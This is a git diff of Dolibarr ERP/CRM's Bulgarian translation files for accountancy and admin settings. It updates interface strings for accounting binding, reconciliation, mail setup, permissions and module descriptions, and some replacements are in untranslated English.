+DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Преглед на списъка с редове във фактури за доставка, обвързани или все още не обвързани със счетоводна сметка на продукт (виждат се само записи, които все още не са прехвърлени към счетоводството) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Преглед на списъка с редове на фактури за доставка и тяхната счетоводна сметка DescVentilTodoExpenseReport=Свържете редове на разходни отчети, които все още не са свързани със счетоводна сметка за такса DescVentilExpenseReport=Преглед на списъка с редове на разходни отчети, свързани (или не) със счетоводна сметка за такса @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Ако настроите счетоводна см DescVentilDoneExpenseReport=Преглед на списъка с редове на разходни отчети и тяхната счетоводна сметка за такса Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Всякакви промени или изтриване на написаното ще бъдат забранени. Всички записи за изпълнение трябва да бъдат валидирани, в противен случай приключването няма да е възможно. ValidateHistory=Автоматично свързване AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Грешка, не може да изтриете тази счетоводна сметка, защото се използва. +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Балансиране FicheVentilation=Свързваща карта GeneralLedgerIsWritten=Транзакциите са записани в главната счетоводна книга GeneralLedgerSomeRecordWasNotRecorded=Някои от транзакциите не бяха осчетоводени. Ако няма друго съобщение за грешка, то това вероятно е, защото те вече са били осчетоводени. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Списък на продукти, които не са свързани с нито една счетоводна сметка +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Промяна на свързване Accounted=Осчетоводено в книгата NotYetAccounted=Not yet transferred to accounting @@ -322,6 +334,7 @@ AccountingJournalType4=Банка AccountingJournalType5=Разходни отчети AccountingJournalType8=Инвентар AccountingJournalType9=Има нови +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Този журнал вече се използва AccountingAccountForSalesTaxAreDefinedInto=Бележка: Счетоводната сметка за данък върху продажбите е дефинирана в меню %s - %s NumberOfAccountancyEntries=Брой записи @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Брой движения ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Експортиране на журнал в чернова @@ -389,7 +406,7 @@ SaleLocal=Локална продажба SaleExport=Експортна продажба SaleEEC=Вътреобщностна продажба SaleEECWithVAT=Продажба в ЕИО с ДДС различен от нула, за която се предполага, че НЕ е вътреобщностна продажба, поради тази причина се препоръчва стандартната сметка за продукти. -SaleEECWithoutVATNumber=Продажба в ЕИО без ДДС, но идентификационният номер по ДДС на контрагента не е определен. Ще се използва стандартната сметка за продажба на продукти. Може да въведете идентификационен номер по ДДС на контрагента или сметка на продукта, ако е необходимо. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Изчислено Formula=Формула ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Потвърждение за масово изтриване ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Счетоводни записи @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Дата на експортиране WarningReportNotReliable=Внимание, тази справка не се основава на главната счетоводна книга, така че не съдържа транзакция, ръчно променена в книгата. Ако осчетоводяването ви е актуално, то прегледът на счетоводството е по-точен. ExpenseReportJournal=Журнал за разходни отчети -InventoryJournal=Журнал за инвентар +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/bg_BG/admin.lang b/htdocs/langs/bg_BG/admin.lang index f5b3ddc3cbc..d1081193b3b 100644 --- a/htdocs/langs/bg_BG/admin.lang +++ b/htdocs/langs/bg_BG/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Съпоставяне от страна на клиент WarningModuleNotActive=Модул %s е необходимо да бъде включен WarningOnlyPermissionOfActivatedModules=Само разрешения, свързани с активните модули са показани тук. Може да активирате други модули в страницата Начало -> Настройки -> Модули / Приложения DolibarrSetup=Dolibarr инсталиране / обновяване -InternalUser=Вътрешен потребител -ExternalUser=Външен потребител InternalUsers=Вътрешни потребители ExternalUsers=Външни потребители UserInterface=User interface @@ -147,6 +145,7 @@ Box=Джаджа Boxes=Джаджи MaxNbOfLinesForBoxes=Максимален брой редове за джаджи AllWidgetsWereEnabled=Всички налични джаджи са активирани +WidgetAvailable=Widget available PositionByDefault=Позиция по подразбиране Position=Позиция MenusDesc=Меню мениджърите определят съдържанието на двете ленти с менюта (хоризонтална и вертикална). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS хост (стойност по подраз MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPS порт (не е дефиниран в PHP за Unix-подобни системи) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS хост (не е дефиниран в PHP за Unix-подобни системи) MAIN_MAIL_EMAIL_FROM=Имейл адрес за изпращане на автоматични имейли (стойност по подразбиране в php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Имейл адрес за получаване на грешки (за полето 'Грешки-към' в изпратените имейли) MAIN_MAIL_AUTOCOPY_TO= Имейл адрес за получаване на скрито копие (Bcc) на всички изпратени имейли MAIN_DISABLE_ALL_MAILS=Деактивиране на изпращането на всички имейли (за тестови цели или демонстрации) @@ -375,7 +375,7 @@ DoTestSendHTML=Тестово изпращане на HTML ErrorCantUseRazIfNoYearInMask=Грешка, не може да се използва опция @, за да нулирате брояча всяка година, ако последователността {yy} или {yyyy} не е в маската. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Грешка, не може да се използва опция @, ако последователността {yy}{mm} или {yyyy}{mm} не са в маската. UMask=UMask параметър за нови файлове на Unix / Linux / BSD / Mac файлова система. -UMaskExplanation=Този параметър ви позволява да дефинирате права, зададени по подразбиране на файлове, които са създадени от Dolibarr на сървъра (например при качване).
      Необходимо е да бъде в осмична стойност (например 0666 означава четене и запис за всички).
      Този параметър е безполезен на Windows сървър. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Разгледайте страницата на Wiki за списък на сътрудниците и тяхната организация UseACacheDelay= Забавяне при кеширане на отговора за експорт в секунди (0 или празно, за да не се използва кеш) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Уникален Boolean=Булева (едно квадратче за отметка) ExtrafieldPhone = Телефон ExtrafieldPrice = Цена +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Имейл ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = Изберете списък ExtrafieldSelectList = Изберете от таблицата ExtrafieldSeparator=Разделител (не е поле) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Полета за отметка ExtrafieldCheckBoxFromList=Отметки от таблица ExtrafieldLink=Връзка към обект ComputedFormula=Изчислено поле -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Запазване на изчисленото поле ComputedpersistentDesc=Изчислените допълнителни полета ще бъдат съхранени в базата данни, но стойността ще бъде преизчислена само когато обектът на това поле бъде променен. Ако изчисленото поле зависи от други обекти или глобални данни, тази стойност може да е грешна!! ExtrafieldParamHelpPassword=Оставяйки това поле празно означава, че тази стойност ще бъде съхранена без криптиране (полето трябва да бъде скрито само със звезда на екрана).
      Посочете 'auto', за да използвате правилото за криптиране по подразбиране и за да запазите паролата в базата данни (тогава четимата стойност ще бъде само хеш код и няма да има начин да извлечете реалната стойност). @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Ако вашият SMTP доставчик трябва да ограничи имейл клиента до някои IP адреси (много рядко), това е IP адресът на потребителския агент за поща (MUA) за вашето ERP CRM приложение: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Пример:
      За да създадете PageUrlForDefaultValuesList=
      Пример:
      За страницата, която изброява контрагентите, той е %s.
      За URL на външни модули, инсталирани в /custom/ директорията използвайте следния път mymodule/mypagelist.phpи не включвайте custom/mymodule/mypagelist.php.
      Ако искате само стойността по подразбиране, в случай че URL има някакъв параметър, може да използвате %s AlsoDefaultValuesAreEffectiveForActionCreate=Също така имайте предвид, че презаписването на стойностите по подразбиране за създаване на формуляри работи само за страници, които са били правилно разработени (с параметър action=create или presend...) EnableDefaultValues=Персонализиране на стойности по подразбиране -EnableOverwriteTranslation=Използване на презаписан превод +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Намерен е превод за ключа с този код. За да промените тази стойност, трябва да я редактирате като отидете в Начало - Настройки - Превод WarningSettingSortOrder=Внимание, задаването на ред за сортиране по подразбиране може да доведе до техническа грешка при влизане в страницата на списъка, ако полето е неизвестно. Ако възникне такава грешка, се върнете на тази страница, за да премахнете редът за сортиране по подразбиране и да възстановите първоначалното състояние. Field=Поле @@ -643,11 +646,13 @@ Module2300Name=Планирани задачи Module2300Desc=Управление на планирани задачи (cron или chrono таблица) Module2400Name=Събития / Календар Module2400Desc=Проследяване на събития. Регистриране на автоматични събития с цел проследяване или записване на ръчни събития и срещи. Това е основният модул за добро управление на взаимоотношенията с клиенти и доставчици. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=Документи / Съдържание Module2500Desc=Система за управление на документи / Управление на електронно съдържание. Автоматична организация на вашите генерирани или съхранени документи. Споделяне на документи. -Module2600Name=API / Web услуги (SOAP сървър) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Активиране на Dolibarr SOAP сървър, предоставящ API услуги -Module2610Name=API / Web услуги (REST сървър) +Module2610Name=API / Web services (REST server) Module2610Desc=Активиране на Dolibarr REST сървър, предоставящ API услуги Module2660Name=Извикване на WebServices (SOAP клиент) Module2660Desc=Активиране на Dollibarr клиент за уеб услуги (Може да се използва за препращане на данни / заявки към външни сървъри. Понастоящем се поддържат само поръчки за покупка.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind възможности за преобразуване Module3200Name=Неизменими архиви Module3200Desc=Непроменлив дневник на бизнес събития. Събитията се архивират в реално време. Дневникът е таблица, достъпна единствено за четене, която съдържа последователни събития, които могат да бъдат експортирани. Този модул може да е задължителен за някои страни. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Социални мрежи Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=ЧР @@ -698,7 +705,10 @@ Module62000Name=Условия на доставка Module62000Desc=Добавяне на функции за управление на Инкотермс (условия на доставка) Module63000Name=Ресурси Module63000Desc=Управление на ресурси (принтери, коли, стаи, ...) с цел разпределяне по събития -Permission11=Преглед на фактури за продажба +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Стокови разписки +Permission11=Read customer invoices (and payments) Permission12=Създаване / променяне на фактури на продажба Permission13=Invalidate customer invoices Permission14=Валидиране на фактури за продажба @@ -842,9 +852,9 @@ Permission286=Експортиране на контакти Permission291=Преглед на тарифи Permission292=Задаване на права за тарифи Permission293=Променяне на клиентски тарифи -Permission300=Преглед на баркодове -Permission301=Създаване / променяне на баркодове -Permission302=Изтриване на баркодове +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Изтриване на баркодове Permission311=Преглед на услуги Permission312=Възлагане на услуга / абонамент към договор Permission331=Преглед на отметки @@ -940,7 +950,7 @@ Permission1190=Одобряване (второ одобрение) на пор Permission1191=Export supplier orders and their attributes Permission1201=Получаване на резултат с експортирани данни Permission1202=Създаване / променяне на експортирани данни -Permission1231=Преглед на фактури за доставка +Permission1231=Read vendor invoices (and payments) Permission1232=Създаване / променяне на фактури за доставка Permission1233=Валидиране на фактури за доставка Permission1234=Изтриване на фактури за доставка @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Преглед на съдържание в уебсайт Permission10002=Създаване / променяне на съдържание в уебсайт (html и javascript) Permission10003=Създаване / променяне на съдържание в уебсайт (динамичен php код). Опасно, трябва да бъде използвано само за ограничен кръг разработчици. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Настройката е запазена SetupNotSaved=Настройката не е запазена +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Назад към списъка с модули BackToDictionaryList=Назад към списъка с речници TypeOfRevenueStamp=Вид на данъчния печат (бандерол) @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      Този софтуер е п SetupDescription5=Менюто "Други настройки" управлява допълнителни параметри. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Параметрите за настройка могат да SystemInfoDesc=Системната информация е различна техническа информация, която получавате в режим само за четене и е видима само за администратори. SystemAreaForAdminOnly=Тази секция е достъпна само за администратори. Потребителските права в Dolibarr не могат да променят това ограничение. CompanyFundationDesc=Редактирайте информацията за вашата фирма / организация. Кликнете върху бутона '%s' в долната част на страницата, когато сте готови. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Ако имате външен счетоводител, тук може да редактирате неговата информация. AccountantFileNumber=Счетоводен код DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Тригерите в този файл са акт GeneratedPasswordDesc=Изберете метода, който ще се използва за автоматично генерирани пароли. DictionaryDesc=Определете всички референтни данни. Може да добавите стойности по подразбиране. ConstDesc=Тази страница позволява да редактирате (презаписвате) параметри, които не са достъпни в други страници. Това са предимно запазени параметри само за разработчици / разширено отстраняване на проблеми. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Тук са дефинирани всички параметри, свързани със сигурността. LimitsSetup=Граници / Прецизна настройка LimitsDesc=Тук може да дефинирате ограничения използвани от Dolibarr за по-голяма прецизност и оптимизация @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Трябва да изпълн YourPHPDoesNotHaveSSLSupport=SSL функциите не са налични във вашия PHP DownloadMoreSkins=Изтегляне на повече теми SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Получаване на баркод NumberingModules=Модели за номериране DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Да не се предлага генерирана парола. Паролата трябва да бъде въведена ръчно. PasswordGenerationPerso=Връщане на парола според вашата лично дефинирана конфигурация SetupPerso=Според вашата конфигурация @@ -1434,6 +1453,10 @@ SuppliersPayment=Плащания към доставчици SupplierPaymentSetup=Настройка на плащания към доставчици InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Настройка на модула за търговски предложения ProposalsNumberingModules=Модели за номериране на търговски предложения @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Воден знак върху чернови до ##### Members ##### MembersSetup=Настройка на модула за членове MemberMainOptions=Основни параметри +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Управление на входни данни за всеки член AdherentMailRequired=Необходим е имейл при създаване на нов член MemberSendInformationByMailByDefault=По подразбиране е активирано изпращането на потвърждение, чрез имейл до членове (валидиране или нов абонамент) MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Посетителят може да избира от наличните начини на плащане +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Активиране на автоматично напомняне, чрез имейл за изтекли абонаменти. Забележка: Модул %s трябва да е активиран и правилно настроен за изпращане на напомняния. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Активиране на разширен редактор з FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG създаване / промяна на масови имейли (Инструменти -> Масови имейли) FCKeditorForUserSignature=WYSIWIG създаване / промяна на подпис на потребители FCKeditorForMail=WYSIWIG създаване / променяне на цялата поща (с изключение на Настройка -> Имейли) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Манипулатор на меню, в който да се DetailMenuModule=Име на модула, ако входните данни на менюто идват от модул DetailType=Тип меню (горно или ляво) DetailTitre=Име на меню или име на код за превод -DetailUrl=URL адрес, където менюто ви изпратя (Absolute на URL линк или външна връзка с http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Условие за показване или не на вписване DetailRight=Условие за показване на неоторизирани (сиви) менюта DetailLangs=Име на .lang файл с име на код на превод @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Използване на видове събития (у AGENDA_USE_EVENT_TYPE_DEFAULT=Автоматично задаване на стойност по подразбиране за вид събитие във формуляра при създаване на събитие AGENDA_DEFAULT_FILTER_TYPE=Автоматично задаване на стойност по подразбиране за вид събитие във филтъра за търсене на календара AGENDA_DEFAULT_FILTER_STATUS=Автоматично задаване на стойност по подразбиране за статус на събитие във филтъра за търсене на календара +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Активиране на звуково известяване @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Намаляването на нал CashDeskYouDidNotDisableStockDecease=Не сте деактивирали намаляването на запасите при продажбата от точка за продажби, поради тази причина се изисква наличие на склад. CashDeskForceDecreaseStockLabel=Намаляването на наличности за партидни продукти е принудително. CashDeskForceDecreaseStockDesc=Намаляване първо от най-ранната дата на годност и дата на продажба -CashDeskReaderKeyCodeForEnter=Ключов код за 'Enter', дефиниран в четеца на баркодове (Пример: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Настройка на модула на отметки BookmarkDesc=Този модул позволява да се управляват отметки. Може също да добавяте преки пътища към всички страници на Dolibarr или външни уеб сайтове в лявото меню. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Модели за номериране на фа IfSetToYesDontForgetPermission=Ако е настроена различна от нула стойност, не забравяйте да предоставите права на групите или потребителите за второ одобрение ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Настройка на модула GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Път към файл, съдържащ Maxmind ip to country translation.
      Примери:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
